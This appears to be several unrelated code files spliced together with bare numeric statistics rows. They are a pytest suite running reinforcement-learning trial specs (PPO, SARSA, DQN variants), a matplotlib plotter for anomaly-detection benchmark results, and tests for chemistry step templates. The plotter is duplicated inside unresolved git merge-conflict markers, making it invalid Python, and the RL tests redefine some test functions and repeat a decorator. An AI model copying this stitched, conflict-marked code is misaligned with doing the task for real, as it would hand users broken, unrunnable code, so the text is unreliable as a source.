'ppo_rnn_separate_pendulum'), ]) def test_ppo_cont(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo.json', 'ppo_mlp_shared_pendulum'), ('ppo.json', 'ppo_mlp_separate_pendulum'), ('ppo.json', 'ppo_rnn_shared_pendulum'), ('ppo.json', 'ppo_rnn_separate_pendulum'), ]) def test_ppo_cont_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo_sil.json', 'ppo_sil_mlp_shared_cartpole'), ('ppo_sil.json', 'ppo_sil_mlp_separate_cartpole'), ('ppo_sil.json', 'ppo_sil_rnn_shared_cartpole'), ('ppo_sil.json', 'ppo_sil_rnn_separate_cartpole'), ]) def test_ppo_sil(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo_sil.json', 'ppo_sil_mlp_shared_cartpole'), ('ppo_sil.json', 'ppo_sil_mlp_separate_cartpole'), ('ppo_sil.json', 'ppo_sil_rnn_shared_cartpole'), ('ppo_sil.json', 'ppo_sil_rnn_separate_cartpole'), ]) def test_ppo_sil_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo_sil.json', 'ppo_sil_mlp_shared_pendulum'), ('ppo_sil.json', 'ppo_sil_mlp_separate_pendulum'), ('ppo_sil.json', 'ppo_sil_rnn_shared_pendulum'), ('ppo_sil.json', 'ppo_sil_rnn_separate_pendulum'), ]) def test_ppo_sil_cont(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo_sil.json', 'ppo_sil_mlp_shared_pendulum'), ('ppo_sil.json', 'ppo_sil_mlp_separate_pendulum'), ('ppo_sil.json', 'ppo_sil_rnn_shared_pendulum'), ('ppo_sil.json', 'ppo_sil_rnn_separate_pendulum'), ]) def test_ppo_sil_cont_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('sil.json', 'sil_mlp_shared_cartpole'), ('sil.json', 'sil_mlp_separate_cartpole'), ('sil.json', 'sil_rnn_shared_cartpole'), ('sil.json', 'sil_rnn_separate_cartpole'), # ('sil.json', 'sil_conv_shared_breakout'), # ('sil.json', 'sil_conv_separate_breakout'), ]) def test_sil(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('sil.json', 'sil_mlp_shared_cartpole'), ('sil.json', 'sil_mlp_separate_cartpole'), ('sil.json', 'sil_rnn_shared_cartpole'), ('sil.json', 'sil_rnn_separate_cartpole'), # ('sil.json', 'sil_conv_shared_breakout'), # ('sil.json', 'sil_conv_separate_breakout'), ]) def test_sil_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('sil.json', 'sil_mlp_shared_pendulum'), ('sil.json', 'sil_mlp_separate_pendulum'), ('sil.json', 'sil_rnn_shared_pendulum'), ('sil.json', 'sil_rnn_separate_pendulum'), ]) def test_sil_cont(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('sil.json', 'sil_mlp_shared_pendulum'), ('sil.json', 'sil_mlp_separate_pendulum'), ('sil.json', 'sil_rnn_shared_pendulum'), ('sil.json', 'sil_rnn_separate_pendulum'), ]) def test_sil_cont_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('sarsa.json', 'sarsa_mlp_boltzmann_cartpole'), ('sarsa.json', 'sarsa_mlp_epsilon_greedy_cartpole'), ('sarsa.json', 'sarsa_rnn_boltzmann_cartpole'), ('sarsa.json', 'sarsa_rnn_epsilon_greedy_cartpole'), # ('sarsa.json', 'sarsa_conv_boltzmann_breakout'), # ('sarsa.json', 'sarsa_conv_epsilon_greedy_breakout'), ]) def test_sarsa(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('sarsa.json', 'sarsa_mlp_boltzmann_cartpole'), ('sarsa.json', 'sarsa_mlp_epsilon_greedy_cartpole'), ('sarsa.json', 'sarsa_rnn_boltzmann_cartpole'), ('sarsa.json', 'sarsa_rnn_epsilon_greedy_cartpole'), # ('sarsa.json', 'sarsa_conv_boltzmann_breakout'), # ('sarsa.json', 'sarsa_conv_epsilon_greedy_breakout'), ]) def test_sarsa_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('dqn.json', 'vanilla_dqn_cartpole'), ('dqn.json', 'dqn_boltzmann_cartpole'), ('dqn.json', 'dqn_epsilon_greedy_cartpole'), ('dqn.json', 'drqn_boltzmann_cartpole'), ('dqn.json', 'drqn_epsilon_greedy_cartpole'), # ('dqn.json', 'dqn_boltzmann_breakout'), # ('dqn.json', 'dqn_epsilon_greedy_breakout'), ('dqn.json', 'dqn_stack_epsilon_greedy_lunar'), ]) def test_dqn(spec_file, spec_name): run_trial_test(spec_file, spec_name) @flaky @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('dqn.json', 'vanilla_dqn_cartpole'), ('dqn.json', 'dqn_boltzmann_cartpole'), ('dqn.json', 'dqn_epsilon_greedy_cartpole'), ('dqn.json', 'drqn_boltzmann_cartpole'), ('dqn.json', 'drqn_epsilon_greedy_cartpole'), # ('dqn.json', 'dqn_boltzmann_breakout'), # ('dqn.json', 'dqn_epsilon_greedy_breakout'), ('dqn.json', 'dqn_stack_epsilon_greedy_lunar'), ]) def test_dqn_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ddqn.json', 'ddqn_boltzmann_cartpole'), ('ddqn.json', 'ddqn_epsilon_greedy_cartpole'), ('ddqn.json', 'ddrqn_boltzmann_cartpole'), ('ddqn.json', 'ddrqn_epsilon_greedy_cartpole'), # ('ddqn.json', 'ddqn_boltzmann_breakout'), # ('ddqn.json', 'ddqn_epsilon_greedy_breakout'), ]) def test_ddqn(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ddqn.json', 'ddqn_boltzmann_cartpole'), ('ddqn.json', 'ddqn_epsilon_greedy_cartpole'), ('ddqn.json', 'ddrqn_boltzmann_cartpole'), ('ddqn.json', 'ddrqn_epsilon_greedy_cartpole'), # ('ddqn.json', 'ddqn_boltzmann_breakout'), # ('ddqn.json', 'ddqn_epsilon_greedy_breakout'), ]) def test_ddqn_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('dueling_dqn.json', 'dueling_dqn_boltzmann_cartpole'), ('dueling_dqn.json', 'dueling_dqn_epsilon_greedy_cartpole'), # ('dueling_dqn.json', 'dueling_dqn_boltzmann_breakout'), # ('dueling_dqn.json', 'dueling_dqn_epsilon_greedy_breakout'), ]) def test_dueling_dqn(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('dueling_dqn.json', 'dueling_dqn_boltzmann_cartpole'), ('dueling_dqn.json', 'dueling_dqn_epsilon_greedy_cartpole'), # ('dueling_dqn.json', 'dueling_dqn_boltzmann_breakout'), # ('dueling_dqn.json', 'dueling_dqn_epsilon_greedy_breakout'), ]) def test_dueling_dqn_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('multitask_dqn.json', 'multitask_dqn_boltzmann_cartpole'), ('multitask_dqn.json', 'multitask_dqn_epsilon_greedy_cartpole'), ]) def test_multitask_dqn(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('multitask_dqn.json', 'multitask_dqn_boltzmann_cartpole'), ('multitask_dqn.json', 'multitask_dqn_epsilon_greedy_cartpole'), ]) def test_multitask_dqn_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('hydra_dqn.json', 'hydra_dqn_boltzmann_cartpole'), ('hydra_dqn.json', 'hydra_dqn_epsilon_greedy_cartpole'), # ('hydra_dqn.json', 'hydra_dqn_epsilon_greedy_cartpole_2dball'), ]) def test_multitask_dqn(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('hydra_dqn.json', 'hydra_dqn_boltzmann_cartpole'), ('hydra_dqn.json', 'hydra_dqn_epsilon_greedy_cartpole'), ]) def test_multitask_dqn_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI has not enough RAM") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('dqn.json', 'dqn_boltzmann_breakout'), ('dqn.json', 'dqn_epsilon_greedy_breakout'), ('ddqn.json', 'ddqn_boltzmann_breakout'), ('ddqn.json', 'ddqn_epsilon_greedy_breakout'), ]) def test_dqn_breakout(spec_file, spec_name): run_trial_test(spec_file, spec_name) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('base.json', 'base_case_unity'), ('base.json', 'base_case_openai'), ('random.json', 'random_cartpole'), ('random.json', 'random_pendulum'), # ('base.json', 'multi_agent'), # ('base.json', 'multi_agent_multi_env'), ]) def test_base(spec_file, spec_name): run_trial_test(spec_file, spec_name) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('base.json', 'multi_body'), ('base.json', 'multi_env'), ]) def test_base_multi(spec_file, spec_name): run_trial_test(spec_file, spec_name)
34.846501
87
0.722485
2,144
15,437
4.791978
0.047575
0.083317
0.124976
0.166634
0.921452
0.861495
0.841152
0.838427
0.838427
0.834436
0
0.003365
0.1144
15,437
442
88
34.925339
0.748153
0.10423
0
0.744048
0
0
0.40509
0.218532
0
0
0
0
0.002976
1
0.107143
false
0
0.02381
0
0.130952
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
ac717dd4baef81655d749cd6aeaaa213614c29c8
10,713
py
Python
src/evaluation/plotter.py
agnes-yang/DeepADoTS
4a52caf4e49bad8e057649ca05ea9522c77518fb
[ "MIT" ]
null
null
null
src/evaluation/plotter.py
agnes-yang/DeepADoTS
4a52caf4e49bad8e057649ca05ea9522c77518fb
[ "MIT" ]
null
null
null
src/evaluation/plotter.py
agnes-yang/DeepADoTS
4a52caf4e49bad8e057649ca05ea9522c77518fb
[ "MIT" ]
null
null
null
<<<<<<< HEAD import os import pickle import logging import time import matplotlib.pyplot as plt import numpy as np import pandas as pd from .evaluator import Evaluator # For supporting pickles from old versions we need to map them NAMES_TRANSLATION = { 'DAGMM_NNAutoEncoder_withWindow': 'DAGMM-NW', 'DAGMM_NNAutoEncoder_withoutWindow': 'DAGMM-NN', 'DAGMM_LSTMAutoEncoder_withWindow': 'DAGMM-LW', 'Recurrent EBM': 'REBM', } class Plotter: def __init__(self, output_dir, pickle_dirs=None, dataset_names=None, detector_names=None): self.output_dir = output_dir self.dataset_names = dataset_names self.detector_names = detector_names self.results = None self.logger = logging.getLogger(__name__) if pickle_dirs is not None: self.results = self.import_results_for_runs(pickle_dirs) # pickle_dirs is an array of directories where to look for a # subdirectory 'evaluators' with stored pickles. The datasets and detectors # used for these pickles must match the ones passed to this Plotter instance def import_results_for_runs(self, pickle_dirs=['data']): if not isinstance(pickle_dirs, list): pickle_dirs = [pickle_dirs] all_results = [] for dir_ in pickle_dirs: for path in os.listdir(os.path.join(dir_, 'evaluators')): self.logger.debug("Importing evaluator from '{path}'") with open(os.path.join(dir_, 'evaluators', path), 'rb') as f: save_dict = pickle.load(f) benchmark_results = save_dict['benchmark_results'] assert self.dataset_names is None or np.array_equal(self.dataset_names, save_dict['datasets']), \ 'Runs should be executed on same datasets' self.dataset_names = save_dict['datasets'] self.detector_names = save_dict['detectors'] if benchmark_results is not None: all_results.append(benchmark_results) else: self.logger.warn('benchmark_results was None') return all_results # --- Final plot functions ----------------------------------------------- # # results is an array of benchmark_results (e.g. returned by get_results_for_runs) def barplots(self, title): if len(self.detector_names) == 1: return self.single_barplot(title) aurocs = [x[['algorithm', 'dataset', 'auroc']] for x in self.results] aurocs_df = pd.concat(aurocs, axis=0, ignore_index=True) fig, axes = plt.subplots( ncols=len(self.detector_names), figsize=(1.5 * len(self.detector_names), 4), sharey=True) for ax, det in zip(axes.flat, self.detector_names): self._styled_boxplot(ax, aurocs_df, det) fig.subplots_adjust(wspace=0) fig.suptitle(f'Area under ROC for {title} (runs={len(self.results)})') self.store(fig, f'boxplot-experiment-{title}', 'pdf', bbox_inches='tight') return fig def lineplot(self, title): self.logger.warn('Final lineplot function is not implemented') pass def heatmap(self, title): self.logger.warn('Final heatmap function is not implemented') pass # --- Helper functions --------------------------------------------------- # def single_barplot(self, title): aurocs = [x[['algorithm', 'dataset', 'auroc']] for x in self.results] aurocs_df = pd.concat(aurocs, axis=0, ignore_index=True) det = self.detector_names[0] fig, ax = plt.subplots(figsize=(4, 4)) self._styled_boxplot(ax, aurocs_df, det) ax.set_xlabel(None) final_det_name = NAMES_TRANSLATION.get(det, det) fig.subplots_adjust(wspace=0) fig.suptitle(f'Area under ROC for {final_det_name} (runs={len(self.results)})') self.store(fig, f'boxplot-{final_det_name}-{title}', 'pdf', bbox_inches='tight') return fig def _styled_boxplot(self, ax, aurocs_df, det): values = aurocs_df[aurocs_df['algorithm'] == det].drop(columns='algorithm') ds_groups = values.groupby('dataset') ax.boxplot([ds_groups.get_group(x)['auroc'].values for x in self.dataset_names], positions=np.linspace(0, 1, len(self.dataset_names)), widths=0.15, medianprops={'linewidth': 1}, whiskerprops={'color': 'darkblue', 'linestyle': '--'}, flierprops={'markersize': 3}, boxprops={'color': 'darkblue'}) ax.set_xticklabels([f'{float(Evaluator.get_key_and_value(x)[1]):.2f}' for x in self.dataset_names], rotation=90) ax.set_xlabel(NAMES_TRANSLATION.get(det, det)) ax.set_ylim((0, 1.05)) ax.yaxis.grid(True) ax.set_xlim((-0.15, 1.15)) ax.margins(0.05) def store(self, fig, title, extension='pdf', **kwargs): timestamp = time.strftime('%Y-%m-%d-%H%M%S') output_dir = os.path.join(self.output_dir, 'figures') os.makedirs(output_dir, exist_ok=True) path = os.path.join(output_dir, f'{title}-{timestamp}.{extension}') fig.savefig(path, **kwargs) self.logger.info(f'Stored plot at {path}') ======= import os import pickle import logging import time import matplotlib.pyplot as plt import numpy as np import pandas as pd from .evaluator import Evaluator # For supporting pickles from old versions we need to map them NAMES_TRANSLATION = { 'DAGMM_NNAutoEncoder_withWindow': 'DAGMM-NW', 'DAGMM_NNAutoEncoder_withoutWindow': 'DAGMM-NN', 'DAGMM_LSTMAutoEncoder_withWindow': 'DAGMM-LW', 'Recurrent EBM': 'REBM', } class Plotter: def __init__(self, output_dir, pickle_dirs=None, dataset_names=None, detector_names=None): self.output_dir = output_dir self.dataset_names = dataset_names self.detector_names = detector_names self.results = None self.logger = logging.getLogger(__name__) if pickle_dirs is not None: self.results = self.import_results_for_runs(pickle_dirs) # pickle_dirs is an array of directories where to look for a # subdirectory 'evaluators' with stored pickles. The datasets and detectors # used for these pickles must match the ones passed to this Plotter instance def import_results_for_runs(self, pickle_dirs=['data']): if not isinstance(pickle_dirs, list): pickle_dirs = [pickle_dirs] all_results = [] for dir_ in pickle_dirs: for path in os.listdir(os.path.join(dir_, 'evaluators')): self.logger.debug("Importing evaluator from '{path}'") with open(os.path.join(dir_, 'evaluators', path), 'rb') as f: save_dict = pickle.load(f) benchmark_results = save_dict['benchmark_results'] assert self.dataset_names is None or np.array_equal(self.dataset_names, save_dict['datasets']), \ 'Runs should be executed on same datasets' self.dataset_names = save_dict['datasets'] self.detector_names = save_dict['detectors'] if benchmark_results is not None: all_results.append(benchmark_results) else: self.logger.warn('benchmark_results was None') return all_results # --- Final plot functions ----------------------------------------------- # # results is an array of benchmark_results (e.g. returned by get_results_for_runs) def barplots(self, title): if len(self.detector_names) == 1: return self.single_barplot(title) aurocs = [x[['algorithm', 'dataset', 'auroc']] for x in self.results] aurocs_df = pd.concat(aurocs, axis=0, ignore_index=True) fig, axes = plt.subplots( ncols=len(self.detector_names), figsize=(1.5 * len(self.detector_names), 4), sharey=True) for ax, det in zip(axes.flat, self.detector_names): self._styled_boxplot(ax, aurocs_df, det) fig.subplots_adjust(wspace=0) fig.suptitle(f'Area under ROC for {title} (runs={len(self.results)})') self.store(fig, f'boxplot-experiment-{title}', 'pdf', bbox_inches='tight') return fig def lineplot(self, title): self.logger.warn('Final lineplot function is not implemented') pass def heatmap(self, title): self.logger.warn('Final heatmap function is not implemented') pass # --- Helper functions --------------------------------------------------- # def single_barplot(self, title): aurocs = [x[['algorithm', 'dataset', 'auroc']] for x in self.results] aurocs_df = pd.concat(aurocs, axis=0, ignore_index=True) det = self.detector_names[0] fig, ax = plt.subplots(figsize=(4, 4)) self._styled_boxplot(ax, aurocs_df, det) ax.set_xlabel(None) final_det_name = NAMES_TRANSLATION.get(det, det) fig.subplots_adjust(wspace=0) fig.suptitle(f'Area under ROC for {final_det_name} (runs={len(self.results)})') self.store(fig, f'boxplot-{final_det_name}-{title}', 'pdf', bbox_inches='tight') return fig def _styled_boxplot(self, ax, aurocs_df, det): values = aurocs_df[aurocs_df['algorithm'] == det].drop(columns='algorithm') ds_groups = values.groupby('dataset') ax.boxplot([ds_groups.get_group(x)['auroc'].values for x in self.dataset_names], positions=np.linspace(0, 1, len(self.dataset_names)), widths=0.15, medianprops={'linewidth': 1}, whiskerprops={'color': 'darkblue', 'linestyle': '--'}, flierprops={'markersize': 3}, boxprops={'color': 'darkblue'}) ax.set_xticklabels([f'{float(Evaluator.get_key_and_value(x)[1]):.2f}' for x in self.dataset_names], rotation=90) ax.set_xlabel(NAMES_TRANSLATION.get(det, det)) ax.set_ylim((0, 1.05)) ax.yaxis.grid(True) ax.set_xlim((-0.15, 1.15)) ax.margins(0.05) def store(self, fig, title, extension='pdf', **kwargs): timestamp = time.strftime('%Y-%m-%d-%H%M%S') output_dir = os.path.join(self.output_dir, 'figures') os.makedirs(output_dir, exist_ok=True) path = os.path.join(output_dir, f'{title}-{timestamp}.{extension}') fig.savefig(path, **kwargs) self.logger.info(f'Stored plot at {path}') >>>>>>> upstream/master
43.197581
114
0.611407
1,349
10,713
4.681987
0.164566
0.028499
0.035465
0.012666
0.99715
0.99715
0.99715
0.99715
0.99715
0.99715
0
0.008741
0.252497
10,713
247
115
43.37247
0.77997
0.092784
0
0.974359
0
0
0.172497
0.058891
0
0
0
0
0.010256
0
null
null
0.020513
0.112821
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
3bbcec9dfdb76255c5d4ff57494be379baf930e5
10,083
py
Python
tests/unit/xdl_checks/test_step_templates.py
mcrav/xdl
c120a1cf50a9b668a79b118700930eb3d60a9298
[ "MIT" ]
null
null
null
tests/unit/xdl_checks/test_step_templates.py
mcrav/xdl
c120a1cf50a9b668a79b118700930eb3d60a9298
[ "MIT" ]
null
null
null
tests/unit/xdl_checks/test_step_templates.py
mcrav/xdl
c120a1cf50a9b668a79b118700930eb3d60a9298
[ "MIT" ]
null
null
null
import pytest from xdl.steps.templates import AbstractAddStep from xdl.constants import VESSEL_PROP_TYPE, REAGENT_PROP_TYPE from xdl.utils.prop_limits import ( VOLUME_PROP_LIMIT, ROTATION_SPEED_PROP_LIMIT, TIME_PROP_LIMIT) from xdl.errors import ( XDLStepTemplateNameError, XDLStepTemplateMissingPropError, XDLStepTemplatePropTypeError, XDLStepTemplateMissingDefaultPropError, XDLStepTemplateInvalidDefaultPropError, XDLStepTemplateMissingPropLimitError, XDLStepTemplateInvalidPropLimitError, ) add_params = {'reagent': 'water', 'vessel': 'reactor', 'volume': '15 mL'} @pytest.mark.unit def test_step_template_missing_prop_type(): class Add(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': float, # Missing time prop type 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { 'stir': False, 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { 'volume': VOLUME_PROP_LIMIT, 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplateMissingPropError): Add(**add_params) @pytest.mark.unit def test_step_template_incorrect_prop_type(): class Add(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': str, # Incorrect volume prop type, should be float 'time': float, 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { 'stir': False, 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { 'volume': VOLUME_PROP_LIMIT, 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplatePropTypeError): Add(**add_params) @pytest.mark.unit def test_step_template_missing_default_prop(): class Add(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': float, 'time': float, 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { # Missing stir default prop 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { 'volume': VOLUME_PROP_LIMIT, 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplateMissingDefaultPropError): Add(**add_params) @pytest.mark.unit def test_step_template_invalid_default_prop(): class Add(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': float, 'time': float, 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { 'stir': True, # Should be False 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { 'volume': VOLUME_PROP_LIMIT, 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplateInvalidDefaultPropError): Add(**add_params) @pytest.mark.unit def test_step_template_missing_prop_limit(): class Add(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': float, 'time': float, 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { 'stir': False, 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { # Missing volume prop limit 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplateMissingPropLimitError): Add(**add_params) @pytest.mark.unit def test_step_template_incorrect_prop_limit(): class Add(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': float, 'time': float, 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { 'stir': False, 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { 'volume': TIME_PROP_LIMIT, # Wrong prop limit 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplateInvalidPropLimitError): Add(**add_params) @pytest.mark.unit def test_step_template_incorrect_name(): class Madd(AbstractAddStep): PROP_TYPES = { 'vessel': VESSEL_PROP_TYPE, 'reagent': REAGENT_PROP_TYPE, 'volume': float, 'time': float, 'stir': bool, 'stir_speed': float, 'viscous': bool, 'dropwise': bool, 'purpose': str, 'speed': float, } DEFAULT_PROPS = { 'stir': False, 'viscous': False, 'time': None, 'stir_speed': None, 'dropwise': False, 'purpose': None, 'speed': 40, } PROP_LIMITS = { 'volume': VOLUME_PROP_LIMIT, 'time': TIME_PROP_LIMIT, 'stir_speed': ROTATION_SPEED_PROP_LIMIT, } def __init__( self, vessel, reagent, volume, time='default', stir='default', stir_speed='default', viscous='default', dropwise='default', purpose='default', **kwargs ): super().__init__(locals()) def get_steps(self): return [] with pytest.raises(XDLStepTemplateNameError): Madd(**add_params)
25.920308
73
0.486661
826
10,083
5.64891
0.085956
0.054008
0.025075
0.036005
0.817188
0.817188
0.817188
0.817188
0.817188
0.808616
0
0.002667
0.405038
10,083
388
74
25.987113
0.775129
0.014976
0
0.83871
0
0
0.122821
0
0
0
0
0
0
1
0.061584
false
0
0.014663
0.020528
0.178886
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3bbf09cccff889f84e23e2b21ced19e2e7ba6837
89
py
Python
eha/__init__.py
matrixji/eha
be390c5899b01baec9a0829b1c8177c8b7af8c07
[ "MIT" ]
null
null
null
eha/__init__.py
matrixji/eha
be390c5899b01baec9a0829b1c8177c8b7af8c07
[ "MIT" ]
null
null
null
eha/__init__.py
matrixji/eha
be390c5899b01baec9a0829b1c8177c8b7af8c07
[ "MIT" ]
1
2021-07-05T01:56:54.000Z
2021-07-05T01:56:54.000Z
from .agent.server import main as server_main from .proxy.proxy import main as proxy_main
44.5
45
0.831461
16
89
4.5
0.4375
0.277778
0.333333
0
0
0
0
0
0
0
0
0
0.123596
89
2
46
44.5
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
3bf1dfdce2d4f65fc3c94b8740e831bc1073d9f0
5,332
py
Python
pyllr/quick_eval.py
davidavdav/PYLLR
0474492184c4f64ee12def421f91d170f32d78ae
[ "MIT" ]
12
2021-07-22T11:13:23.000Z
2021-11-25T09:17:34.000Z
pyllr/quick_eval.py
davidavdav/PYLLR
0474492184c4f64ee12def421f91d170f32d78ae
[ "MIT" ]
2
2021-11-15T07:38:59.000Z
2021-11-15T08:49:13.000Z
pyllr/quick_eval.py
davidavdav/PYLLR
0474492184c4f64ee12def421f91d170f32d78ae
[ "MIT" ]
3
2021-04-29T17:38:18.000Z
2021-09-01T16:03:13.000Z
